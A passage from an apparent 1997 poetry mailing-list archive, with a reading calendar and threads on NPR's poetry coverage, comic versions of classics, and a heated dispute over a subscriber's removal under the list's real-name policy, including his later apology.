DEC 20: ROB FITTERMAN, MAC WELLMAN Rob Fitterman's Metropolis (1-15) is due from Sun & Moon; other books: Ameresque and 33 States. Mac Wellman's recent plays: Infrared and FNULNU. A 1996 Lila Wallace--Reader's Digest Award winner.

DEC 27: HOLIDAY WEEKEND--NO READING

JAN 3: HOLIDAY WEEKEND--NO READING

JAN 10: DREW GARDNER, GEOFFREY O'BRIEN Drew Gardner is the author of The Cover (Leave). Geoffrey O'Brien is the author of Floating Cities, Selected Poems 1978-1995 (Talisman) and The Phantom Empire (Norton).

JAN 17: EILEEN MYLES, MICHAEL GOTTLIEB Eileen Myles' most recent book is School of Fish from Black Sparrow. Michael Gottlieb is the author of New York, Local Color/Eidetic Deniers, 96 Tears, and Pantographic.

JAN 24: SIANNE NGAI, KIM ROSENFIELD Sianne Ngai is the editor/publisher of Black Bread literary magazine. She has published several chapbooks including DISCREDIT (Burning Deck). Kim Rosenfield is the author of Rx and Cool Clean Chemistry (Leave Books) and A Self-Guided Walk (Object/poetscoop).

JAN 31: GROUP READING FOR THE XUL READER; AN ANTHOLOGY OF ARGENTINE POETRY 1980-1996 Readers for this event include Molly Weigel, Gary Racz, Kathy Kopple, Reinaldo Laddaga, and Ernesto Grossman. Readings will be both in Spanish and in English.

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408. **mark weiss**

Readers' versions of great lit

Tue 23 Sep 1997

When I was a kid I used to read Classic Comics (I think they were called), the ultimate readers' versions. These were about three times the width of ordinary comics (you need a few pages for Les Miserables), with a lot more words than most comics, although must of the narrative had been converted to dialogue bubbles. Intellectual kids like me read this stuff instead of horror comics--less likely to induce nightmares, and good for you, too! Sometimes, I later learned, the plots were wildly rearranged to protect the innocent. It was nice having pictures, but fortunately these didn't stick--I don't even remember what their Captain Ahab looked like. I don't think they ever did Joyce, but it would be a worthy project: an adult version that could be finished in a lunchtime. Proust would probably take a week. And the possibilities for advertizing sales go way beyond ant farms. On a different note, does anybody but me remember the Gilbert Shelton illustrated editions of Chaucer's pilgrims? One of them, the Miller's Tale, if

memory serves, was done in honest-to-god Middle English. And I do remember his Alisoun, the miller's wife--quite a babe.

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409. **henry**
Re: Pinsky on NPR
Tue 23 Sep 1997

On Tue, 23 Sep 1997 12:33:06 -0500 p. durgin said:
> Henry,
> The mystification, how can it be anything but lazy? Brave and
>lazy at once. The sweat comes in when one transposes their mystical
>experience into text. And what of chance operations? Doesn't
>indeterminacy, instead of precluding the mystical, reverse the dynamic?

I wasn't referring to the mystical - just mystification, as in lazy or purposeful mumbo-jumbo. Purposeful obscurity. I don't go for that. Am extremely old-fashioned in my opinions about this. Don't think "language writes us", "language liberates us", etc. I like the author who fills every nook & cranny & syllable & nuance with purposeful intent. I also know this is impossible. But I think Joyce tried to do it. I think he learned it from the scholastics & the cathedral builders, whose every move was governed by dialectical debate. The apse of Amiens a resolution of contradictory approaches in 2 earlier constructions. Problem-solving. Explicit statement. "Progress" in poetry might involve delimiting just such contradictions in past work & resolving them, synthesizing them. Does our atmosphere of "experiment" foster this kind of discipline? Or is it every mumbo-jumboer for him-herself? Just thinkin' out loud here... [loosen up Hank, said Roland, winding his horn] - Henry G.

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410. **David Bromige**
The Document of Concern in the Case of Red Slider 86'd
Tue 23 Sep 1997

I thank all those who have written in to explain what a portion of Red Slider's problem may be. The workings of the computer & its various softwares are fascinating indeed.

However, there is a danger that these explanations will also function to explain away the following, which I re-post to the List because some of those concerned give no sign of having read it. (Herb Levy, thanks for your recent post on this topic,a post with which I am in complete agreement.)

> *Received Today:*
>
> *----------*
> *From: Temporary Name[SMTP:[redacted]]*
> *Sent: Friday, September 19, 1997 4:13 PM*
> *To: [redacted]*
> *Subject: "TheFarm"*
>
> *Dear Sir,*
>
> *Your own concern as to who wrote the note is quite interesting in this context. According to our policy, we must know the real name of all subscribers. "The Farm" is not a sufficient userid for this purpose. We have no problem with handles, pen names or the like; but we reserve the right to ask for the legal names, and addresses if necessary, of all subscribers with indeterminate userids. We recognize this greatly limits the focus and possibilities of our list but are confident that there are many other lists with different policies on this point for those interested. If you read the original note we sent again you will note that all that we said that we were writing as a matter of list policy and that the content of your messages were related to this; if we didn't mean that we would not have said it. By the way this note is not written by "Joel".*
>
> *----------*

So, what were those contents? I have read Red's posts, & found nothing as offensive as much stuff that has passed muster before; which of his posts did I miss, that "were related" to his being axed? Please, Not-Joel, be so good as to refer us to these messages of Red, so that we may (one hopes) find ourselves in agreement with your action in this matter, and gain a clearer notion of just how far any one of us can go before we step over the line you draw in the virtual desert. David

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411. **mark weiss**
Re: Pinsky on NPR
Tue 23 Sep 1997

It wasn't always so. There was a time, maybe twenty years ago, when Susan Howe produced a weekly series of readings on WBAI, New York's then Pacifica station, and I produced poetry specials. I remember doing Armand Schwerner reading the entire (as of that date) The Tablets, a lengthy interview and reading with Paul Metcalf, and two 2 1/2 hour shows of resurrected and remastered

readings by Jack Spicer (who did his own radio show 15 years before that on San Francisco's Pacifica station).

At 02:40 PM 9/23/97 -0400, you wrote:
>David Bromidge wonders:
>> But perhaps I
>> malign NPR. I know they offer Andrei Codrrescu. But apart from that, do
>> they offer poets of a stripe not that of Robert Pinsky? Has any one of the
>> following smatter of poets been aired : Ron Silliman, Lyn Hejinian, Bob
>> Perelman, Leslie Scalapino, Bruce Andrews, Abigail Childs, Steve McCaf-
fery,
>> Karen Mac Cormack, Jackson Mac Low, Jennifer Moxley, Charles Bernstein,
Rae
>> Armantrout, Pierre Joris, Laura Moriarty, Michael Davidson, Harriet
Mullen,
>> Nick Piombino, Erica Hunt? If so, on which program, and at what time does
>> it air? Thanks.
>
>No, and don't be silly. Last spring Robert Hass was on twice (once
>with Pinsky). I'm sure Rita Dove has been on as well, plus Maya Angelou...
>
>Actually, I find the interviews fascinating. I suppose this is because I
>relish the sensation of frustration. Seriously, it's good to reinforce
>that the poet laureate is who you'd basically expect he'd be.
>
>Much worse than the interviews are the poetry clips on NPR. Last winter
>they were on an "anti-poem" kick and it seemed like Naomi Shihab Nye
>was in my speaker every damn week.
>
>But I don't expect much of radio in that way, i.e., I don't expect it to
>include non-mainstream poets. I think my expectations grow out of the
>fact that radio is expensive and in general it seems that the more
>something drips with money the more standard it's likely to be. In
>contrast, I expected much more "risky" (i.e., potentially offputting to
>the reader) poems to appear in Hass's poet's corner, but in the 100 or so
>weeks he's done it, I there has been ONE Sun & Moon poet by my count and
>few if any small-press poets.
>
>Carol
>
>

↑ Index

412. Christopher Alexander
LeCercle/liberation
Tue 23 Sep 1997

Henry wrt:
> Don't think "language writes us", "language liberates us", etc.

small pt. of clarification for the list: I'm not sure LeCercle's position is so much liberatory as explanatory—& with that in mind, his model seems very much like that of Potebnia, at least @ this level of generality. that one's my fault for not citing more extensively.

Chris

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

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413. Spencer Selby
list feedback
Tue 23 Sep 1997

Please post all feedback or info for the mag list to me directly.

Thanks,

Spencer Selby

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414. red slider
The Left-field Bleachers
Tue 23 Sep 1997

Red is back. over there in the left-field bleachers .

thanx to everybody who gave me backchannel support during my little poeticus interruptus. (and my local post office wants to know if I will also receive the 'Santa' mail this year?)

The matter is now in pretty good hands. The boyz are over at EPC beating the crap outta.... well we'll see who/what. And that's the real message. Some are checking, I've made formal complaint to the Director. & That's enough. If it's

stuff for the list to deal with (and there are many puzzle pieces) you know now, I will not go quietly into this good net.

thanx again for all the help and support.

Now what are you all staring at? GET BACK TO WORK!

Red Slider (a real guy - does anybody doubt that?)
The [redacted] (a real&expensive service)
Author of "Pissy Notes & Other Voidances"

ps.

Red Skelton 1913-1997

'God Bless'

↑ Index

415. **Brian Carpenter**
Re: Readers' versions of great lit
Tue 23 Sep 1997

---

mark weiss wrote:

<< I don't think they ever did Joyce, but it would be a worthy project: an adult version that could be finished in a lunchtime. >>

There's a local comics artist by the name of David Lasky who's done a 9-page mini-comic version of Ulysses. Two frames for each of chapter. It's really surprisingly accurate for that level of brevity. Quite a kick. Lasky has also done a more biographical comic on Joyce, published by Aeon Press.

I believe someone's also done a comics version of the first section of Finnegans Wake. Pretty sure actually, though I can't recall the artists name at the moment. Can dig up the info on these if anyone's interested.

Anyhow, preferable to Rose's grammarian renderings in both cases I would venture.

BC

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416. **mark weiss**
Re: Readers' versions of great lit
Tue 23 Sep 1997

I hope these are wonderful works of art in their own right, whatever their connection to the original. But I'm struck once again by the plight of the social

satirist in the land of the pet rock: America tends to parody itself inadvertently faster and more accurately than the most mordant of wits.

At 02:51 PM 9/23/97 -0700, you wrote:
>mark weiss wrote:
>
><< I don't think they ever did Joyce, but it would be a worthy project: an
>adult version that could be finished in a lunchtime. >>
>
>There's a local comics artist by the name of David Lasky who's done a
>9-page mini-comic version of Ulysses. Two frames for each of chapter. It's
>really surprisingly accurate for that level of brevity. Quite a kick.
>Lasky has also done a more biographical comic on Joyce, published by Aeon
>Press.
>
>I believe someone's also done a comics version of the first section of
>Finnegans Wake. Pretty sure actually, though I can't recall the artists
>name at the moment. Can dig up the info on these if anyone's interested.
>
>Anyhow, preferable to Rose's grammarian renderings in both cases I would
>venture.
>
>
>
>BC
>
>

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417. **p. durgin**
Re: Pinsky on NPR
Tue 23 Sep 1997

Henry,

Points well taken, but I, for one, have trouble with a notion of poetry progressing. How can its effectiveness be theoreticized out of the very private and obscure author/reader relation? Purposeful intent meets with the same solopsitic ruts as the cathedral builders. What Joyce does resembles the sort of thouroughness you suggest, but it is only as effective for some. And why? Not for anyone to say as much as it is for everyone to say. Agreed, though. Lazy writing isn't hard to spot. But it comes in all flavors, don't it?

Patrick F. Durgin

I[I]I [redacted] I[I]I

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418. Charles Bernstein
Pseudonyms/Bad Addresses/Confidentiality/Knot
Tue 23 Sep 1997

Dodie Bellamy writes:
>I didn't see the beginning of this thread, having been out of town and not
>being able to face the 150+ old poetics messages that awaited me, but if
>I'm surmising right what's being discussed here--I believe that the issue
>is that pseudonyms are not allowed on the Poetics List--I don't think
>there's anything *personal* being/having been done to RS.

Dodie is right. The Poetics List reserves the right to ask for the real names and addresses of all subscribers. We take this as a basic responsibility of administering this list and facilitating the automatic and unedited distribution of so many messages (up to 50 a day) to so many people (about 500). I have no problem with handles, pen names or the like, and recognize that this policy limits the focus and possibilities of the Poetics List. For those interested, there are many other places on the Internet with different policies on this point: pseudonyms are a major dynamic on many web sites. I very much appreciated Eliza McGrand's and David Golumbia's post on this matter, and they together highlight a number of concerns I share. Certainly, the use of pseudonyms might be fine in a number of circumstances and I realize the Poetics List has a relatively conservative stance on this. But it should be noted that pseudonyms and pseudoaddresses on the Internet are not the same as in the age of print. Handles, web names, and phantom addresses on the Internet pose a different set of problems and no doubt a new set of possibilities. Nor is the use of a handle on a fantasy site the same as the use of the same handle in a newsgroup, chat line, moderated list (where an editor reads all messages before they are posted), a local list where people are in frequent face-to-face contact, a literary magazine or other edited web publication, or on an unedited listserve with the stated interests and purposes as this one (and, again, Eliza detailed some of the issues I am concerned about here). Certainly, if we ask a new subscriber for further information on their userid, name, or address and they "prefer not to" say, there is no reason to make any value judgement on this choice.

As to "bad" addresses, and as several people have noted, when the Poetics List has a problem with an address, we often don't have the time to figure out what went wrong or to send out additional notes about the status of the address. We have to rely on subscribers to provide us with working and authenticatable addresses.

All subscription information and correspondence relating to subscriptions on the list is confidential. The exception to this is the list of current subscribers, which can be obtained with the "review poetics" command. Please use this command to find addresses of subscribers rather than making an inquiry of the whole list.

Finally, let me end with this: My name is Charles Bernstein and I am Listowner of the Poetics List. I take the responsibility of being listowner quite seriously, probably too seriously. As I've said before, it can often seem to interfere with my ability to participate in the list as fully as I might otherwise enjoy. While I discuss list policies and procedures with those who generously volunteer their time to help me with list management, I take full and personal responsibility for decisions relating to the protocols and functioning of the list. My office address is 438 Clemens Hall, Buffalo, NY 14260 on the North Campus of SUNY-Buffalo, where I am employed. My phone number at UB is [redacted]; if I am not available, a message can be left. I can be most easily reached at the email address listed in the header of this message. Due to the volume of Poetics-related subscription mail (mostly related to bounced mail), I prefer if questions about the list be sent to a special administrative account set up for the Poetics List: [redacted]. Access to this account is restricted to those working directly with me on the list. -- I take it that all of this are given facts to every subscriber on this list. I find it quite ironic, and at the same time chilling, that a subscriber who prefers not to give the Poetics List an address or any information about his name other than a nonspecific userid, complains that no personal name was given in correspondence from the Poetics List. But the point of calling attention to the Personal Name ("temporary name") that appears before that @ of the address -- the point, that is, of not signing the message sent to this subscription address-- was just to emphasize the fungibility of names in this environment and to make apparent the need to know to whom on is exchanging messages. Of course this is unsettling: it unsettles me. The reaction of the subscriber suggests the value of the policy. Furthermore, I take it as a given that personal communications between individuals, correspondence about subscriptions, as well as other writings by individuals, are not to be reproduced on this or any list without the permission of the author. In this instance, in the letter that was forwarded to this list, we have an example of what happens when that principle is not followed. Indeed, I have only just realized, in reading one of the recent posts, that a word was elided in one sentence of a letter sent to one of the list subscribers:

> *if you read the original note we sent again you will note that*
> *all that we said that we were writing as a matter of list policy and that*
> *the content of your messages were*

word dropped: NOT

> *related to this*

In conjunction with that original note, it might have been apparent that "content" *has never been* and *is not* an issue in this instance, especially since both notes make clear what the issue is. Of course the elision of "not" is regrettable; but this note was not intended to be reproduced twice to 500 people and scrutinized for unintended meaning. Furthermore, there were a number of ways that the possible misinterpretation of the dropped "not" might have been clarified, short of sending the note out to the entire list. In any case, at the other end of the line at Poetics is me, among others, and I think it's fair to say that it's unlikely that any of this is about anything other than what I have stated here. And if you want to know where I am to discuss it, you know that too, so send me an email or come by to see me. I'm around (if too often neither here or there but someplace else and in a knot).

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419. Layne Russell
Re: to all & appologies
Tue 23 Sep 1997

---

wow red. what can i say?

sending love, that's all right now.

layne

↑ Index

420. red slider
Try again Charles - this is exactly how it came to me
Tue 23 Sep 1997

Charles,

why you are here beginning a (rather transparent) rationalization for probably failed policy and certainly misapplied ones is beyond me. In the first place, a formal complaint has been made to the Director, and it might have been appropriate to leave these matters for his investigation. Second, you could have communicated with me (since you have forbidden me to communicate with you) on the 'missing not' - we might have discovered something. But there is nothing now but to take this bit of informal time and deal with piece meal - I will not address most of Charles' List Owner rationalizations for policy and such - there are much better analysts here than I who can see what is going on. I'll simply address the 'not knot' and leave it there for now - I didn't even want to do that much.

If there was any eliding it was somewhere/somehow on Charles' side, and could have been an unfortunate typo of his (or do we want to explore the theory that the machine just happened to drop this critical term? Or does someone wish to speculate on which one of us is lying?) His critical 'NOT' was not found here on receipt. Of course, if the letters had not been anonymous and I could have asked my questions - or if it had been worth Charles' time to deal with these matters (he instructed me not to communicate with him or Joel at their addresses on these matters on the basis of his time) we might have been able to straighten it out. But Charles' your list of particulate locations and identities does not erase your communications (are you the not-joel?) or your handling of my letter to Joel and your obvious remoteness in the officiate of your list owning position. I'm starting to smell some smoke. Better to leave it with the investigation, if there is to be one, and what ever list discussion might ensue on substantive issues (I find most of yours rather secondary to questions David, I and others have rased). Dodie, by her own admission didn't really know what was going on, no? Hardly a solid foundation. Anyway, once again, here is the second posting of the anonymous, 'Temporary Name' communication, exactly as I recieved it - no changes, no elides. And, I think a siezure of all records at the server site on anything remotely pertaining to these matters is certainly now in order (don't want any machine erasing files problems - could happen). I suggest these be conducted from Dr. Glazier's office. Just my suggestion.

Red Slider (real name, real guy)
TheFarm (real&expensive service)
Author of "Pissy Notes & Other Voidances"

From: Temporary Name[SMTP:[redacted]]
Sent: Friday, September 19, 1997 4:13 PM
To: [redacted]
Subject: "TheFarm"

Dear Sir,

Your own concern as to who wrote the note is quite interesting in this context. According to our policy, we must know the real name of all subscribers. "The Farm" is not a sufficient userid for this purpose. We have no problem with handles, pen names or the like; but we reserve the right to ask for the legal names, and addresses if necessary, of all subscribers with indeterminate userids. We recognize this greatly limits the focus and possibilities of our list but are confident that there are many other lists with different policies on this point for those interested. If you read the original note we sent again you will note that all that we said that we were writing as a matter of list policy and that the

content of your messages were related to this; if we didn't mean that we would not have said it. By the way this note is not written by "Joel".

>> Joel, I presume this unsigned note from the 'list server' is from you? (and
>> i do like to have names with my notes - even if they are handles)
>>
>>> Please try to keep in mind that the Poetics List is designed so that no one
>>> contributes more than a few messages on a given day. Also, we ask that all
>>> subscribers subscribe with their "real" names. While there is much lively
>>> internet activity using "handles" this is not the direction we want for
>>> this particular list. Unfortunately, due to the volume of requests and
>>> messages we get, we may not have told you this when you first subscribed.
>>> Thank you for your interest in the list and your lively contributions.
>>>
>> While my 'average' list participation is less than 2 ('a few') (26/17 days
>> for sept.) i also see that it is disproportionately large? Though I do note
>> several others with some heavy useage on particular days and do wonder if
>> they received similar communications? I will endeavor to keep my postings
>> within limits.
>>
>> I do, however, wonder by whom, and on what basis, my name is being
>> challenged? I find it a bit insulting and wonder on what presumptive basis
>> someone things it does not as my "real name". I use my name responsibly,
>> it is a pointer to reliable communications with me on any matter and is a
>> name under which I submit print & electronic poetry. If you or anyone has a
>> problem with that I gladly invite them to communicate with me directly with
>> me and identify themselves - by handle or real name.
>>

>> On the other hand, if it is the content of my messages which seem
>> inappropriate or off point then I would certainly like to hear that
>> directly said - backchannel or otherwise. Other than a single message from
>> someone who apparently felt uncomfortable with a question on poetics and
>> 'protected group' access, I have received no communications suggesting I'm
>> 'round the bend', out of topic or otherwise 'off my meds'. Quite the
>> contrary in backchannel, but I would certainly like to know if anyone feels
>> that is the case.
>>
>> thank you,
>>
>> red slider
>
>

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421. George Thompson
Re: Try again Charles - this is exactly how it came to me
Tue 23 Sep 1997

Dear List,

As a member of the list without any allegiances whatsoever, with no interest whatsoever in any poetry wars, with absolutely no personal friendships with anyone whatsoever on the list, maybe I can speak with the authority of an irrelevant outsider.

I think that Red Slider should direct his paranoia elsewhere.

I for one am tired of him.

George Thompson

↑ Index

422. Eliza McGrand
Re: The Document of Concern in the Case of Red Slider 86'd
Tue 23 Sep 1997

---

the "content of your messages were related to this" means having "subscribe" "unsubscribe" etc. caused reader to axe, and also, that content of message TO RED FROM LISTSERV, i.e. "your message" as distinct from "joe schmoe's message (message to joe schmoe" were related to list policy.

there is NO BIG BROTHER. NO THOUGHT POLICE. NO ONE READ RED SLIDER'S POSTS AND SAID "AXE HIM"!!! ok!!!!!!!????

it is a matter of the way the program is built, and the protocals it uses to screen the mass of information coming at it. charles et al GOT this program, already written by someone else, sealed in celophane, as it were, off the shelf (though i think listserv is actually shareware and free). someone with MASSIVE amounts of computer know-how WROTE THIS PROGRAM. it is completely unrealistic to take charles et al to task for standard features of program -- i think they are doing splendidly to have figured out how to load it. it is beyond unrealistic and completely off the wall to ask them to rewrite or change it. it was written by PROFESSIONAL, VERY CLEVER computer programmers who got paid alot of money by universities and development funding and macarthur grants to write it. charles couldn't, probably, even get past encryptment into base code to even begin to understand it, probably, much less rewrite it!

i think charles and joel are doing the best they can with a pretty intricate software package made to manage an extraordarily tedious and complex task. i have seen this software used throughout the world on the net and it works the same way because that is they way it is written, not because there is a plot to censor people -- it cuts people off list if their address sends back "undeliverable mail," if their address won't send a bounceback, and so on and so forth.

sheesh!
e

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423. **mark weiss**
Re: Try again Charles - this is exactly how it came to me
Tue 23 Sep 1997

I think that this might be a good time to take this backchannel. As it's still public, for the record, early in my list membership (not so long aqo) I found myself unable to send or receive. I had sent some mildly snippy posts, and, being an American, I immediately proceeded to paranoia (it's the national sport)--there was a conspiracy, I was being ejected, punished, whatever. Of course it was a technical problem. But paranoia is much more satisfying--behind it is the assumption of one's own importance or power to be perceived as a threat.

I don't identify myself as a language poet, and I've only met The Listmaster a couple of times (Listmaster is great, sounds like startrek). My experience has been that the list is run very fairly and with great generosity. I doubt that anybody gets rich or powerful by providing the rest of us with this venue.

One of my friends likes to counter his own paranoia with generosity of spirit by telling himself not to assume malice when folly is an adequate explanation. I would change the second clause to "folly or a glitch."

At 04:15 PM 9/23/97 -0700, you wrote:
>Charles,
>
>why you are here beginning a (rather transparent) rationalization for
>probably failed policy and certainly misapplied ones is beyond me. In the
>first place, a formal complaint has been made to the Director, and it might
>have been appropriate to leave these matters for his investigation. Second,
>you could have communicated with me (since you have forbidden me to
>communicate with you) on the 'missing not' - we might have discovered
>something. But there is nothing now but to take this bit of informal time
>and deal with piece meal - I will not address most of Charles' List Owner
>rationalizations for policy and such - there are much better analysts here
>than I who can see what is going on. I'll simply address the 'not knot' and
>leave it there for now - I didn't even want to do that much.
>
>If there was any eliding it was somewhere/somehow on Charles' side, and
>could have been an unfortunate typo of his (or do we want to explore the
>theory that the machine just happened to drop this critical term? Or does
>someone wish to speculate on which one of us is lying?) His critical 'NOT'
>was not found here on receipt. Of course, if the letters had not been
>anonymous and I could have asked my questions - or if it had been worth
>Charles' time to deal with these matters (he instructed me not to
>communicate with him or Joel at their addresses on these matters on the
>basis of his time) we might have been able to straighten it out. But
>Charles' your list of particulate locations and identities does not erase
>your communications (are you the not-joel?) or your handling of my letter
>to Joel and your obvious remoteness in the officiate of your list owning
>position. I'm starting to smell some smoke. Better to leave it with the
>investigation, if there is to be one, and what ever list discussion might
>ensue on substantive issues (I find most of yours rather secondary to
>questions David, I and others have rased). Dodie, by her own admission
>didn't really know what was going on, no? Hardly a solid foundation.
>Anyway, once again, here is the second posting of the anonymous,
>'Temporary Name' communication, exactly as I recieved it - no changes, no
>elides. And, I think a siezure of all records at the server site on
>anything remotely pertaining to these matters is certainly now in order
>(don't want any machine erasing files problems - could happen). I suggest
>these be conducted from Dr. Glazier's office. Just my suggestion.

>
>Red Slider (real name, real guy)
>TheFarm (real&expensive service)
>Author of "Pissy Notes & Other Voidances"
>
>----------
>From: Temporary Name[SMTP:[redacted]]
>Sent: Friday, September 19, 1997 4:13 PM
>To: [redacted]
>Subject: "TheFarm"
>
>
>Dear Sir,
>
>Your own concern as to who wrote the note is quite interesting in this
>context. According to our policy, we must know the real name of all
>subscribers. "The Farm" is not a sufficient userid for this purpose. We
>have no problem with handles, pen names or the like; but we reserve the
>right to ask for the legal names, and addresses if necessary, of all
>subscribers with indeterminate userids. We recognize this greatly limits
>the focus and possibilities of our list but are confident that there are
>many other lists with different policies on this point for those
>interested. If you read the original note we sent again you will note that
>all that we said that we were writing as a matter of list policy and that
>the content of your messages were related to this; if we didn't mean that
>we would not have said it. By the way this note is not written by "Joel".
>
>
>>> Joel, I presume this unsigned note from the 'list server' is from you?
>(and
>>> i do like to have names with my notes - even if they are handles)
>>>
>>>> Please try to keep in mind that the Poetics List is designed so that no
>one
>>>> contributes more than a few messages on a given day. Also, we ask that
>all
>>>> subscribers subscribe with their "real" names. While there is much
>lively
>>>> internet activity using "handles" this is not the direction we want for
>>>> this particular list. Unfortunately, due to the volume of requests and
>>>> messages we get, we may not have told you this when you first
>subscribed.

>>>> Thank you for your interest in the list and your lively contributions.
>>>>
>>> While my 'average' list participation is less than 2 ('a few') (26/17
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>>> for sept.) i also see that it is disproportionately large? Though I do
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>>> several others with some heavy useage on particular days and do wonder
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>>> they received similar communications? I will endeavor to keep my
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>>> problem with that I gladly invite them to communicate with me directly
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>>> me and identify themselves - by handle or real name.
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>>> directly said - backchannel or otherwise. Other than a single message
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>>> someone who apparently felt uncomfortable with a question on poetics
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>>> 'round the bend', out of topic or otherwise 'off my meds'. Quite the
>>> contrary in backchannel, but I would certainly like to know if anyone
>feels
>>> that is the case.
>>>
>>> thank you,
>>>
>>> red slider
>>

>>
>
>

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424. Eliza McGrand

Re: Try again Charles - this is exactly how it came to me

Tue 23 Sep 1997

---

to continue to ascribe clearly unintended meanings to charles' careful, astoundingly polite efforts to clear up a small computer glitch is grossly uniformed and ungrateful.

red slider, i think you have entirely too much free time. if you think you know so much about how to run 500+ lists (a really LARGE list as these things go) and are so willing to put so much energy into attacking someone who has had a whole lot of gumption, decency, and put in unimaginable amounts of work into building a net list and community, why don't you channel some of that energy into doing something constructive like starting and managing a list of your own?

perhaps after the perhaps 15th, perhaps 75th, perhaps 150th interrupted weekend/vacation/busy schoolday, when, for absolutely no pay and just out of being a "good poetry citizen" you take on yet another computer glitch or address error and sooth yet another subscriber entangled in computer problems (i've had a message from joel and charles originated AFTER 10PM on a sunday just to offer advice on a message-address problem, for one of i know MANY examples) you will have another, very embarrassed and regretful view of your painfully ... well, i'll eschew pejoratives, but let us just say "misguided" attempt to sandbag charles, joel, and all the interns and helpers and others who've put so much into this poetics listserv.

i can only hope, but must firmly believe (in order to believe in anything approximating a rational world) that whoever "runs" the EPC will have the sense and grace to see both the huge amount of work, FOR ABSOLUTELY NO MONEY WHATSOEVER, charles et al have put into poetics and the extraordinary achievement it is, and the uh, misguided, nature of your attack and drop the whole thing into electron styx. e

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425. red slider
to all & appologies
Wed 24 Sep 1997

Absolutely right, those who've seen I went too far - each in their own way. Insensed at the idea that someone accused me of eliding an important part of a document. That word means to me deliberate alteration - falsification. But no matter, no excuse to say more. It would have been enough to have said, "no, that word was not in my copy." and let it go. What has happened to me, by me, over this matter, no matter how trivial or serious its particulars is not good. It is not my tao. Not the way I've lived it. And when I found myself ranting to one particular friend (and to no other i think - Dodie, anyone else, feel free to backchannel/post any messages of mine, I don't think they were that bad, but I've no perspective anymore) it was time for me to say, "I'm off my meds".

I meant no ill to Charles or Joel or anyone. Had a nice post& reply bck with Eliza in fact that I really enjoyed, and learned. Yes I argued the points. Maybe, in time i'd have learned something. . And from a lot of others, too.

But my sense that senses injustice is just too hyperactive (not paranoid, but the difference is trivial here). It just works that way. Got me into trouble before, I expect it will again. I manage it by gardening and keeping to the side of things. And that's where I need to be. I cannot be a good member of this working family. I could not trust myself to do that. It began with a name and what's in it. A name that was a good one. And an intrusion into that name. You know, I imagined I'd come back on the list and somebody would ask me, "well red slider, would you like to introduce yourself to us?" and I'd thought maybe I'd post a little piece that I did that tells about the fog horns and a little school stuff and some of San Franscisco where I grew up. It felt right because it felt like I could share some initmacy and keep my privacy. But that didn't happen. I tried to keep the first post lite - in the ballpark. But the next came too quick. I don't know why I'm saying all this. Maybe I figure I owe you bigtime but this is all I've got. some words. well the name is shit for me now. I made it so. Not anyone here. Nothing to do for that. I'm not whining about it either. hate whining. I got insensed, thats all. and in the list, out of the list - that's not the place i want to be. I'd of hoped someone figured out I don't get insensed for myself - never felt personally attacked by anyone - not even some of the direct bck chnl explosions i caught along the way. Just that there was somthing wrong out somewhere and it was comin up through me like a freight train.

I'll be going now. And no personal messages please. I need to take care of me now. Well this list is not a confessional or a couch - that's for sure. So without further embarrassment, so long.

red.

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426. Maria Damon (Maria Damon)
Re: Try again Charles - this is exactly how it came to me
Wed 24 Sep 1997

---

dodie writes:
>
>While I cannot claim to understand the whole Red Slider thing fully and I
>should have kept out of it in the first place (when I was in Buffalo last
>week Charles mentioned to me that he was writing to RS re: pseudonyms) I
>cannot resist commenting on a particular vein of this flurry of responses
>which I find problematic--the way the issues quickly break down into moral
>defenses of the parties involved. ...
>
>Dodie

hear hear. disagreement can be carried on without it being a war of personal loyalties.

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427. Christopher Reiner
A Reading
Wed 24 Sep 1997

A READING

The Rex Read
(three women reading in a hotel lobby)

Cydney Chadwick
Michelle Murphy
Sally Doyle

The Hotel Rex
562 Sutter St.
(between Mason & Powell Sts., downtown San Francisco)

Friday, October 3rd. 7:30 p.m.
FREE

(food and wine--and other beverages--available)

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428. **nico vassilakis**
jumble
Wed 24 Sep 1997

Does anyone have information on 'poetscoop'?

The Case of Rd Sldr on one a them perry the mason shows - people be steppin inta all kinds a shit smellin up the place

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429. **Herb Levy**
Re: Pinsky on NPR
Wed 24 Sep 1997

Yeah, but Mark, NONE of those were on NPR stations, let alone on a program produced by NPR for national distribution.

Community stations are great and the few small independent networks (are there really any others besides Pacifica) tend to be good, though everyone I know who lives in a town with a Pacifica station complains about how they've deteriorated.

NPR, as a network is just like the commercial stations, far too much of an interest in market share, etc. to program anything that isn't relatively official culture. Which doesn't mean there aren't NPR afiliates with local programs that are very good, but the national feed is relatively safe, especiallyu on the cultural front.

Bests,

Herb

> *It wasn't always so. There was a time, maybe twenty years ago, when Susan Howe produced a weekly series of readings on WBAI, New York's then Pacifica station, and I produced poetry specials. I remember doing Armand Schwerner reading the entire (as of that date) The Tablets, a lengthy interview and reading with Paul Metcalf, and two 2 1/2 hour shows of resurrected and remastered readings by Jack Spicer (who did his own radio show 15 years before that on San Francisco's Pacifica station).*
>
> *At 02:40 PM 9/23/97 -0400, you wrote:*
> *David Bromidge wonders:*
> *But perhaps I*
> *malign NPR. I know they offer Andrei Codrrescu. But apart from that, do they offer poets of a stripe not that of Robert Pinsky? Has any one of the following smatter of poets been aired : Ron Silliman, Lyn Hejinian, Bob Perelman, Leslie Scalapino, Bruce Andrews, Abigail Childs, Steve McCaffery, Karen Mac Cormack, Jackson Mac Low, Jennifer Moxley, Charles Bernstein, Rae*

> *Armantrout, Pierre Joris, Laura Moriarty, Michael Davidson, Harriet Mullen, Nick Piombino, Erica Hunt? If so, on which program, and at what time does it air? Thanks.*
>
> *No, and don't be silly. Last spring Robert Hass was on twice (once with Pinsky). I'm sure Rita Dove has been on as well, plus Maya Angelou...*
>
> *Actually, I find the interviews fascinating. I suppose this is because I relish the sensation of frustration. Seriously, it's good to reinforce that the poet laureate is who you'd basically expect he'd be.*
>
> *Much worse than the interviews are the poetry clips on NPR. Last winter they were on an "anti-poem" kick and it seemed like Naomi Shihab Nye was in my speaker every damn week.*
>
> *But I don't expect much of radio in that way, i.e., I don't expect it to include non-mainstream poets. I think my expectations grow out of the fact that radio is expensive and in general it seems that the more something drips with money the more standard it's likely to be. In contrast, I expected much more "risky" (i.e., potentially offputting to the reader) poems to appear in Hass's poet's corner, but in the 100 or so weeks he's done it, I there has been ONE Sun & Moon poet by my count and few if any small-press poets.*
>
> *Carol*

Herb Levy
[redacted]

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430. **rsillima**
Terri Gross
Wed 24 Sep 1997

